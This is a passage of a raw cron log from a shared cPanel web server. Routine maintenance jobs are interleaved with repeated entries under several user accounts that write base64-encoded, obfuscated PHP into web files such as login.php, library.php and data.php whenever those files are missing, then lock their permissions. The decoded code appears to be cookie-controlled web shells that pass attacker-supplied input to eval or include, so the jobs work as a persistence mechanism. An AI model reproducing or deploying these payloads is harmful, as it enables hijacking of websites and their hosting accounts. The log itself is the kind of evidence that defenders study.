pc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:10:01 medusa CROND[13641]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 01:11:01 medusa CROND[21824]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:11:01 medusa CROND[21867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:11:01 medusa CROND[21868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:11:01 medusa CROND[21873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:11:01 medusa CROND[21874]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:11:01 medusa CROND[21876]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:11:01 medusa CROND[21877]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:11:01 medusa CROND[21880]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:11:01 medusa CROND[21882]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:11:01 medusa CROND[21883]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:11:01 medusa CROND[21871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:11:01 medusa CROND[21890]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:11:01 medusa CROND[21908]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:12:01 medusa CROND[26523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:12:01 medusa CROND[26633]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:12:01 medusa CROND[26683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:12:01 medusa CROND[26686]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:12:01 medusa CROND[26687]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:12:01 medusa CROND[26688]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:12:01 medusa CROND[26689]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:12:01 medusa CROND[26691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:12:01 medusa CROND[26693]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:12:01 medusa CROND[26695]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:12:01 medusa CROND[26696]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:12:01 medusa CROND[26698]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:12:01 medusa CROND[26701]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:12:01 medusa CROND[26710]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:13:01 medusa CROND[31882]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0